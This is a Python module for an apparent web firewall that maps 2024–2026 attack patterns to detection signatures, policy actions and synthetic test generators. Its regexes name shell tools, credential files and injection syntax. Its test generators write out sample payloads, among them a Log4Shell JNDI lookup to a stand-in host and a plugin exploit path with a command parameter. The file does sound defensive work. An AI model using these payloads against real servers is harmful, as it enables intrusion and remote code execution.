File size: 17,863 Bytes
e02228b | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 | """Playbook: recent attack patterns (2024-2026) as behaviour signatures over what the engine already measures, each
with the family it maps to, the action the policy should take, and a synthetic generator used by the tests.
The engine's learned tiers find the unknown; the playbook makes sure the known shapes of today's attacks are named
precisely and answered with the right action, and that every one of them is exercised in the test suite.
| id | pattern | seen as | family |
|------|-------------------------------------------|----------------------------------------------------|------------|
| A01 | HTTP/2 Rapid Reset (CVE-2023-44487) | floods of request+cancel: huge request rate, tiny bytes, no replies, one host | dos |
| A02 | HTTP/2 CONTINUATION flood (2024) | long header streams: very large request bytes per request, rate | dos |
| A03 | L7 flood from a botnet / residential proxies| many new sources, same path, high rate per site, low per source | ddos |
| A04 | credential stuffing / password spraying | repeated POST to login from one source with 4xx, or many sources one path | bruteforce |
| A05 | AI / LLM scrapers and aggressive crawlers | one source walks many distinct paths at a steady cadence, bot UA or none | bot |
| A06 | API enumeration / BOLA (OWASP API1) | sequential ids on one endpoint, many 404/403 | scan |
| A07 | WordPress / CMS exploit waves (xmlrpc, plugin RCE, wp-login) | known paths with payloads; many hosts probed | webattack |
| A08 | JNDI / Log4Shell-style injection | ${jndi: patterns in any field | rce |
| A09 | reflection / amplification floods (DNS, NTP, SSDP, memcached) | UDP, huge bytes per packet to one destination, many spoofed sources | ddos |
| A10 | slow scans (nmap -T1, masscan spread) | ports walked over hours by one source | portscan |
| A11 | SSH / RDP brute force | same (host, port) again and again, short failed connects | bruteforce |
| A12 | chain: JSON-RPC abuse (eth_getLogs / debug_ / trace_ floods) | expensive methods at high rate from one client | dos |
| A13 | chain: peer / sybil flood (eclipse attempt) | many new peers from one prefix, connection churn | ddos |
| A14 | chain: mempool spam / dust | high rate of sendRawTransaction from one client | dos |
"""
from __future__ import annotations
import re
import numpy as np
from dibaguard.shield.rx import Gap, Sig
JNDI = re.compile(r"\$\{\s*(jndi|j\$\{|lower:j|upper:j|::-j)", re.I)
WP_PATHS = ("/xmlrpc.php", "/wp-login.php", "/wp-json/wp/v2/users", "/wp-content/plugins/", "/wp-admin/admin-ajax.php", "/?rest_route=")
# platform-agnostic request signatures (detection patterns in the spirit of the OWASP Core Rule Set). They fire on
# the decoded canonical request text, for any platform (WordPress, Joomla, Drupal, Laravel, Django, APIs, ...).
# Branches shaped "X .* Y" are rx.Gap matchers, not regex branches: on crafted input ("<a<a<a...", "../a../a...") a
# backtracking regex rescans the text from every X (seconds on 16 KB); a Gap gives the same answer in one pass. The Go
# fast path (go/dibaguard/sigs.go, RE2, linear by construction) keeps them as regex branches.
_I = re.I
SIGS = {
# comments between UNION and SELECT: only comments without '*' inside here (linear); the SQL view of the canonical
# text has every comment folded already (canon.views)
"A15": Sig(r"union(\s|/\*[^*]*\*/|\+)+(all(\s|\+)+)?select|\bor\s+\d+\s*=\s*\d+|'\s*or\s*'[^']*'\s*=\s*'|updatexml\s*\(|extractvalue\s*\("
r"|\bsleep\s*\(\s*\d|benchmark\s*\(|waitfor\s+delay|information_schema|load_file\s*\(|into\s+(out|dump)file|;\s*drop\s+table"
r"|pg_sleep\s*\(|'\s*;\s*--|'\s*--\s*-?(\s|$)", flags=_I),
"A16": Sig(r"[\"\[]\$(ne|gt|gte|lt|lte|where|regex|nin|exists|expr|function)[\"\]]?\s*[:=\]]", flags=_I),
"A17": Sig(r"(\.\./){2,}|(\.\.\\){2,}|/etc/(passwd|shadow|hosts)|/proc/self/(environ|cmdline)|win\.ini|boot\.ini"
r"|php://(filter|input)|file:///|expect://|zip://|phar://"
r"|\.\.[/\\](etc|proc|windows|winnt|\.ssh|\.git|\.aws)[/\\]",
# one step up is enough when it lands on a secret or a system directory: ..[/\][^|\s]*\.(env|...)\b
Gap([r"\.\.[/\\]", r"\.(env|ini|conf|config|cfg|yml|yaml|pem|key|bak|old|sql|db|sqlite|htpasswd|properties|git)\b"], r"[|\s]", _I),
flags=_I),
"A18": Sig(r"[;|&`]\s*(id|whoami|uname|printenv|hostname|env|ifconfig|ipconfig|netstat|nslookup|pwd|cat\s+/etc|wget\s|curl\s|nc\s|bash\s"
r"|sh\s+-c|powershell)\b(?!\s*=)|[;|&`]\s*(ls|ps)\s|\$\(\s*(id|whoami|uname|printenv|hostname)"
r"|\b(shell_exec|passthru|proc_open|popen)\s*\(|\b(system|exec|eval|assert)\s*\(\s*['\"$]|base64_decode\s*\("
r"|#post_render|#lazy_builder|#pre_render|connector\.minimal\.php|revslider/temp/update_extract|[?&]cmd=\w"
r"|\(\)\s*\{\s*:;\s*\}",
Gap([r"/cgi-bin/", r"(\.\.|%2e)"], None, _I), # /cgi-bin/.*(\.\.|%2e)
flags=_I),
"A19": Sig(r"<\s*script\b|\bon(error|load|mouseover|focus|toggle)\s*=|javascript\s*:|<\s*iframe\b|document\.cookie"
# right after a quote that closed an attribute (onpageshow, onfocusin ...)
r"|[\"']\s*/?\s*on[a-z]{3,}\s*=",
Gap([r"<\s*svg", r"\bon\w+\s*="], ">", _I), # <\s*svg[^>]*\bon\w+\s*=
# any event handler inside a tag; the HTML tokenizer also separates attributes with '/': <body/onpageshow=..>
# (V-04) # <\s*[a-z][^>]*[\s/]on[a-z]{3,}\s*=
Gap([r"<\s*[a-z]", r"[\s/]on[a-z]{3,}\s*="], ">", _I),
flags=_I),
"A20": Sig(r"\{\{\s*\d+\s*\*\s*\d+\s*\}\}|\$\{\s*\d+\s*\*\s*\d+\s*\}|<!entity|169\.254\.169\.254|metadata\.google\.internal"
r"|__class__|__globals__|\{%\s*(import|include)",
Gap([r"<!doctype", r"\["], ">", _I), # <!doctype[^>]*\[
flags=_I),
"A21": Sig(r"/\.git/|/\.env\b|/\.svn/|/\.htpasswd|/\.aws/credentials|wp-config\.php\.(bak|old|save|swp|orig|txt)|/server-status|/phpinfo\.php"
r"|/(backup|db|dump|database|site)\.(zip|tar|tar\.gz|tgz|sql|sql\.gz|7z)\b|/\.ds_store|/web\.config\.(bak|old)", flags=_I),
# AI crawlers that declare themselves (the site's policy decides: challenge by default, 'bot': 'monitor' to allow)
"A05": Sig(None, Gap([r"h:user-agent=", r"\b(gptbot|chatgpt-user|oai-searchbot|claudebot|claude-web|anthropic-ai|ccbot|bytespider|perplexitybot"
r"|amazonbot|meta-externalagent|diffbot|omgilibot|youbot|cohere-ai|imagesiftbot|timpibot|ai2bot)\b"], r"\|", _I)),
}
# A07 (CMS exploit wave): only clear exploit shapes, never ordinary WordPress endpoints (admin-ajax heartbeat, wp-json posts)
CMS_EXPLOIT = Sig(r"wp-file-manager/lib/php/connector|/wp-json/wp/v2/users/\d+",
Gap([r"/xmlrpc\.php", r"system\.multicall"], None, _I),
Gap([r"revslider", r"update_extract"], None, _I),
Gap([r"revslider", r"show_image", r"\.\."], None, _I),
Gap([r"/wp-admin/admin-ajax\.php", r"action=(revslider_show_image|duplicator_download)"], None, _I),
Gap([r"com_fields", r"list\[fullordering\]"], None, _I),
Gap([r"/user/register", r"element_parents", r"#value"], None, _I),
flags=_I)
EXPENSIVE_RPC = ("eth_getlogs", "debug_", "trace_", "eth_call", "eth_estimategas", "eth_sendrawtransaction")
PLAYBOOK = [
{"id": "A01", "name": "HTTP/2 Rapid Reset", "family": "dos", "action": "rate_limit", "where": "edge-waf,net-sensor",
"signature": "src_flows_h1 >= 200 and src_noreply_h1 > 0.8 and src_newport_h1 < 0.2 (one service hammered, nothing answered)"},
{"id": "A02", "name": "HTTP/2 CONTINUATION flood", "family": "dos", "action": "rate_limit", "where": "edge-waf",
"signature": "request header bytes >> site p99 at high rate from one source"},
{"id": "A03", "name": "L7 botnet flood", "family": "ddos", "action": "challenge", "where": "edge-waf,net-sensor",
"signature": "dst_newsrc_h1 > 0.5 and dst_flows_h1 >= 500: site pressure, many fresh sources, one path"},
{"id": "A04", "name": "credential stuffing", "family": "bruteforce", "action": "block", "where": "edge-waf",
"signature": "repeated POST to a login path from one source with failures (status >= 400) -> session stream repeat + short"},
{"id": "A05", "name": "AI scraper / aggressive crawler", "family": "bot", "action": "challenge", "where": "edge-waf",
"signature": "one source walks many distinct paths (newport share on the path hash high) at a steady cadence"},
{"id": "A06", "name": "API enumeration / BOLA", "family": "scan", "action": "challenge", "where": "edge-waf",
"signature": "sequential ids on one endpoint with 4xx -> session stream newport high + noreply high"},
{"id": "A07", "name": "WordPress / CMS exploit wave", "family": "webattack", "action": "block", "where": "edge-waf",
"signature": "known CMS paths with payloads; novelty high on a non-WordPress site"},
{"id": "A08", "name": "JNDI / Log4Shell", "family": "rce", "action": "block", "where": "edge-waf",
"signature": "${jndi: (and its obfuscations) anywhere in the request"},
{"id": "A09", "name": "reflection / amplification", "family": "ddos", "action": "rate_limit", "where": "net-sensor",
"signature": "UDP, large bytes per packet, one destination, many sources, dst_newsrc_h1 high"},
{"id": "A10", "name": "slow scan", "family": "portscan", "action": "block", "where": "net-sensor,host-firewall",
"signature": "src_newport_h3 > 0.5 with noreply/synonly over the 30-min horizon (evidence accumulates for hours)"},
{"id": "A11", "name": "SSH / RDP brute force", "family": "bruteforce", "action": "block", "where": "net-sensor,host-firewall",
"signature": "src_repeat_h2 > 0.6 with short / failed connects"},
{"id": "A12", "name": "chain RPC abuse", "family": "dos", "action": "rate_limit", "where": "chain-node",
"signature": "expensive methods (eth_getLogs, debug_*, trace_*) at high rate from one client"},
{"id": "A13", "name": "chain peer / sybil flood", "family": "ddos", "action": "block", "where": "chain-node,net-sensor",
"signature": "many new peers from one /24 with connection churn on the p2p port"},
{"id": "A14", "name": "chain mempool spam", "family": "dos", "action": "rate_limit", "where": "chain-node",
"signature": "eth_sendRawTransaction at high rate from one client, tiny values"},
{"id": "A15", "name": "SQL injection", "family": "sqli", "action": "block", "where": "edge-waf",
"signature": "UNION SELECT, boolean tautologies, error/time-based functions (updatexml, sleep, benchmark, pg_sleep), information_schema"},
{"id": "A16", "name": "NoSQL injection", "family": "nosqli", "action": "block", "where": "edge-waf",
"signature": "MongoDB operators ($ne, $gt, $where, $regex) in JSON bodies or query arrays"},
{"id": "A17", "name": "path traversal / LFI", "family": "traversal", "action": "block", "where": "edge-waf",
"signature": "../ chains, /etc/passwd, php://filter, file:// and other wrapper schemes"},
{"id": "A18", "name": "RCE / command injection", "family": "rce", "action": "block", "where": "edge-waf",
"signature": "shell metacharacters + commands, PHP exec functions, Drupalgeddon render arrays, plugin connector exploits, Shellshock"},
{"id": "A19", "name": "cross-site scripting", "family": "xss", "action": "block", "where": "edge-waf",
"signature": "<script>, event-handler attributes, javascript: URIs, SVG/iframe injection"},
{"id": "A20", "name": "SSTI / XXE / SSRF", "family": "ssti", "action": "block", "where": "edge-waf",
"signature": "{{7*7}} templates, <!ENTITY, cloud metadata endpoints (169.254.169.254), Python object traversal"},
{"id": "A21", "name": "sensitive file probe", "family": "scan", "action": "challenge", "where": "edge-waf",
"signature": "/.git/, /.env, config backups, database dumps, server-status, phpinfo"},
{"id": "A22", "name": "SQL injection (context analysis)", "family": "sqli", "action": "block", "where": "edge-waf",
"signature": "a parameter (query, body, cookie, header, or a key) that, decoded, breaks out of a numeric / string / parenthesised / "
"LIKE query context into a tautology, UNION extraction, stacked statement, time delay, error-based extractor, "
"scalar sub-query or comment cut - judged by the database tier (http/sqlctx.py)"},
]
BY_ID = {p["id"]: p for p in PLAYBOOK}
def match_http(text: str) -> list[str]:
"""request-level signatures that need no statistics; behaviours (floods, stuffing, scraping) are the engine's job.
Order = precedence of the family reported (the most specific / severe first)."""
out = []
if JNDI.search(text):
out.append("A08")
if CMS_EXPLOIT.search(text):
out.append("A07")
for pid in ("A18", "A15", "A16", "A20", "A17", "A19", "A21", "A05"):
if SIGS[pid].search(text):
out.append(pid)
return out
def match_rpc(method: str) -> list[str]:
m = method.lower()
if m.startswith("eth_sendrawtransaction"):
return ["A14"]
if any(m.startswith(e) for e in EXPENSIVE_RPC):
return ["A12"]
return []
def name_family(family: str) -> str:
"""which playbook entries a detected family corresponds to (for the report's 'what is this')"""
return ", ".join(p["id"] + " " + p["name"] for p in PLAYBOOK if p["family"] == family)
# ---------------------------------------------------------------- synthetic generators (tests + demos)
def gen_flows(kind: str, rng, t0: float, src: str = "6.6.6.6", n: int | None = None) -> dict:
"""flow records (engine FLOW_FIELDS) of one attack pattern, time-ordered"""
def rec(k, t, dst, dport, proto, bi, pi, bo, po, cf, sf, fl, dur):
return {"t": np.sort(t), "src": np.full(k, src), "dst": dst, "dport": dport, "proto": np.full(k, proto), "bytes_in": bi, "pkts_in": pi,
"bytes_out": bo, "pkts_out": po, "client_flags": np.full(k, cf), "server_flags": np.full(k, sf), "flags": np.full(k, fl), "duration_ms": dur}
hosts = [f"h{i}" for i in range(50)]
if kind == "A01": # rapid reset: 5000 request+cancel in 60 s at one host:443
k = n or 5000
return rec(k, rng.uniform(t0, t0 + 60, k), np.full(k, "h1"), np.full(k, 443), 6, np.full(k, 120), np.full(k, 2), np.full(k, 0), np.full(k, 0), 0x12, 0, 0x16, np.full(k, 2))
if kind == "A09": # amplification: UDP 123 to one victim from many spoofed sources, large replies
k = n or 4000
return {**rec(k, rng.uniform(t0, t0 + 120, k), np.full(k, "victim"), np.full(k, 123), 17, np.full(k, 1400), np.full(k, 1), np.full(k, 0), np.full(k, 0), 0, 0, 0, np.full(k, 1)),
"src": np.array([f"198.51.{rng.integers(0, 255)}.{rng.integers(1, 255)}" for _ in range(k)])}
if kind == "A10": # slow scan: 400 probes over 2 hours
k = n or 400
return rec(k, rng.uniform(t0, t0 + 7200, k), rng.choice(hosts, k), rng.integers(1, 65535, k), 6, np.full(k, 60), np.full(k, 1), np.full(k, 0), np.full(k, 0), 2, 0, 2, np.full(k, 1))
if kind == "A11": # ssh brute force: 900 logins in 5 min
k = n or 900
return rec(k, rng.uniform(t0, t0 + 300, k), np.full(k, "h1"), np.full(k, 22), 6, rng.integers(200, 400, k), rng.integers(5, 9, k), rng.integers(200, 400, k), rng.integers(5, 9, k), 27, 27, 31, rng.integers(50, 200, k))
if kind == "A13": # peer flood: 3000 connections to the p2p port from one /24
k = n or 3000
return {**rec(k, rng.uniform(t0, t0 + 600, k), np.full(k, "node"), np.full(k, 30303), 6, np.full(k, 300), np.full(k, 3), np.full(k, 100), np.full(k, 1), 0x12, 0x12, 0x16, rng.integers(5, 50, k)),
"src": np.array([f"203.0.113.{rng.integers(1, 255)}" for _ in range(k)])}
raise KeyError(kind)
def gen_http(kind: str, rng, n: int | None = None) -> list[dict]:
"""HTTP requests {text, client, status, t} of one pattern (canonical text as dibaguard.http.parse makes it)"""
if kind == "A04":
k = n or 300
return [{"text": f"post /login | b:user=admin | b:pass=pw{i} | h:user-agent=mozilla/5.0", "client": "9.9.9.9", "status": 401, "t": float(i)} for i in range(k)]
if kind == "A05":
k = n or 400
return [{"text": f"get /article/{rng.integers(1, 10**6)} | h:user-agent=gptbot/1.2", "client": "8.8.8.8", "status": 200, "t": 2.0 * i} for i in range(k)]
if kind == "A06":
k = n or 300
return [{"text": f"get /api/v1/users/{1000 + i}/orders | h:authorization=bearer x", "client": "7.7.7.7", "status": 403 if i % 3 else 200, "t": 0.5 * i} for i in range(k)]
if kind == "A07":
return [{"text": "post /xmlrpc.php | b:<methodcall><methodname>system.multicall</methodname> | h:user-agent=python-requests", "client": "5.5.5.5", "status": 200, "t": 0.0},
{"text": "get /wp-content/plugins/revslider/temp/update_extract/revslider/x.php?cmd=id | h:user-agent=curl", "client": "5.5.5.5", "status": 404, "t": 1.0}]
if kind == "A08":
return [{"text": "get / | h:user-agent=${jndi:ldap://x.evil/a} | h:x-api-version=${${lower:j}ndi:dns://y}", "client": "4.4.4.4", "status": 200, "t": 0.0}]
raise KeyError(kind)
|